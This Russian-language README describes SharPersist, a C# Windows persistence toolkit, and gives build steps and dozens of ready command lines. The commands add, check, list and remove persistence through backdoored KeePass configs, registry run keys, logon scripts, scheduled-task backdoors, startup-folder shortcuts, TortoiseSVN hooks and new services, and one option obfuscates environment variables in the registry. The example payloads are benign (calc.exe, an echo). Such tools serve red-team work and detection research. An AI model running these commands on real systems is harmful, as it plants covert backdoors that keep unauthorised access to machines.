
Набор инструментов на C# для установки и управления закреплением (persistence) в Windows с помощью ключей реестра, запланированных задач, служб, папок автозагрузки, конфигураций KeePass и хуков TortoiseSVN.
Набор инструментов для обеспечения персистентности в Windows, написанный на C#. Подробную информацию об использовании каждой техники см. в Wiki.
Автор — Brett Hawkins (@h4wkst3r)
Выполните следующие шаги для настройки Visual Studio, чтобы скомпилировать проект самостоятельно. Для этого потребуется пара библиотек .NET, которые можно установить из диспетчера пакетов NuGet.
В этом проекте используются следующие сторонние библиотеки.
| Библиотека | URL | Лицензия |
|---|---|---|
| TaskScheduler | https://github.com/dahall/TaskScheduler | MIT License |
| Fody | https://github.com/Fody/Fody | MIT License |
Install-Package Costura.Fody -Version 3.3.3Install-Package TaskScheduler -Version 2.8.11keepass — бэкдор в конфигурационном файле KeePassreg — добавление/изменение ключа реестраschtaskbackdoor — бэкдор в запланированной задаче путём добавления дополнительного действияstartupfolder — lnk-файл в папке автозагрузкиtortoisesvn — hook-скрипт TortoiseSVNservice — создание новой службы Windowsschtask — создание новой запланированной задачиadd — добавить технику персистентностиremove — удалить технику персистентностиcheck — выполнить пробный прогон (dry-run) техники персистентностиlist — вывести текущие записи техники персистентностиenv — дополнительная опция для обфускации переменных окружения в реестреhourly — дополнительная опция для периодичности schtaskdaily — дополнительная опция для периодичности schtasklogon — дополнительная опция для периодичности schtaskhklmrunhklmrunoncehklmrunonceexhkcurunhkcurunoncelogonscriptstickynotesuserinitKeePass
SharPersist -t keepass -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "C:\Users\username\AppData\Roaming\KeePass\KeePass.config.xml" -m add
Реестр
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m add
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m add -o env
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "logonscript" -m add
Бэкдор в запланированной задаче
SharPersist -t schtaskbackdoor -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Something Cool" -m add
Папка автозагрузки
SharPersist -t startupfolder -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "Some File" -m add
Tortoise SVN
SharPersist -t tortoisesvn -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -m add
Служба Windows
SharPersist -t service -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Service" -m add
Запланированная задача
SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c echo 123 >> c:\123.txt" -n "Some Task" -m add
SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c echo 123 >> c:\123.txt" -n "Some Task" -m add -o hourly
KeePass
SharPersist -t keepass -f "C:\Users\username\AppData\Roaming\KeePass\KeePass.config.xml" -m remove
Реестр
SharPersist -t reg -k "hkcurun" -v "Test Stuff" -m remove
SharPersist -t reg -k "hkcurun" -v "Test Stuff" -m remove -o env
SharPersist -t reg -k "logonscript" -m remove
Бэкдор в запланированной задаче
SharPersist -t schtaskbackdoor -n "Something Cool" -m remove
Папка автозагрузки
SharPersist -t startupfolder -f "Some File" -m remove
Tortoise SVN
SharPersist -t tortoisesvn -m remove
Служба Windows
SharPersist -t service -n "Some Service" -m remove
Запланированная задача
SharPersist -t schtask -n "Some Task" -m remove
KeePass
SharPersist -t keepass -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "C:\Users\username\AppData\Roaming\KeePass\KeePass.config.xml" -m check
Реестр
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m check
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m check -o env
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "logonscript" -m check
Бэкдор в запланированной задаче
SharPersist -t schtaskbackdoor -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Something Cool" -m check
Папка автозагрузки
SharPersist -t startupfolder -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "Some File" -m check
Tortoise SVN
SharPersist -t tortoisesvn -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -m check
Служба Windows
SharPersist -t service -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Service" -m check
Запланированная задача
SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c echo 123 >> c:\123.txt" -n "Some Task" -m check
SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c echo 123 >> c:\123.txt" -n "Some Task" -m check -o hourly
Реестр
SharPersist -t reg -k "hkcurun" -m list
Бэкдор в запланированной задаче
SharPersist -t schtaskbackdoor -m list
SharPersist -t schtaskbackdoor -m list -n "Some Task"
SharPersist -t schtaskbackdoor -m list -o logon
Папка автозагрузки
SharPersist -t startupfolder -m list
Служба Windows
SharPersist -t service -m list
SharPersist -t service -m list -n "Some Service"
Запланированная задача
SharPersist -t schtask -m list
SharPersist -t schtask -m list -n "Some Task"
SharPersist -t schtask -m list -o logon